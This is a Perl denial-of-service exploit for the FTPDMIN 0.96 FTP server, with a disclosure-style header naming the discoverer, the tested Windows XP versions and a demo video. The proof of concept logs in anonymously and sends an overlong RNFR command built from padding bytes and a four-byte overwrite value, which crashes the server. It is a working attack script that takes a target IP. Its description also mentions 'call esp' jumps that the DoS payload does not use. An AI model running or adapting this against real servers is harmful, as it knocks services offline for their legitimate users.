#!/usr/bin/perl

use Net::FTP;

Exploit Title: FTPDMIN 0.96 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 2024-01-01

Vendor Homepage: https://www.sentex.ca/~mwandel/ftpdmin/

Download to demo:

https://drive.google.com/file/d/1CpfvaJbJVxR3HPWvcxIVipTaTj7RAaLd/view?usp=sharing

Notification vendor: Yes reported

Tested Version: FTPDMIN 0.96

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://www.youtube.com/watch?v=q-CVJfYdd-g

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2
and 3 (English).
#For this exploit I have tried several strategies to increase reliability
and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via
FTP command RNFR.
#The following request sends a large amount of data to the FTP server to
process across command RNFR, the server will crash as soon as it is
received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash
the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

intro();  
main();

print "[+] Exploiting... \n";

my $buf = "\x41"x269;  
my $point = "\x45\x2a\x42\x7b";  
my $buf2 = "\x41"x126;

my $payload = "RNFR ".$buf . $point . $buf2;

my $ftp = Net::FTP->new($ip, Debug => 0) or die "Can't connect to  

server: $@";

$ftp->login("anonymous",'anonymous');

$ftp->quot($payload);

$ftp->quit;

print "[+] Done - Exploited success!!!!!\n\n";

sub intro {
print "***************************************************\n";
print "* FTPDMIN 0.96 - Denied of Service \n";
print " \n";
print " Coded by Fernando Mengali \n";
print " \n";
print " e-mail: [email protected] \n";
print " *\n";
print "***************************************************\n";
}

sub main {

  our ($ip) = @ARGV;

  unless (defined($ip)) {

    print "             \nUsage: $0 <ip>                   \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated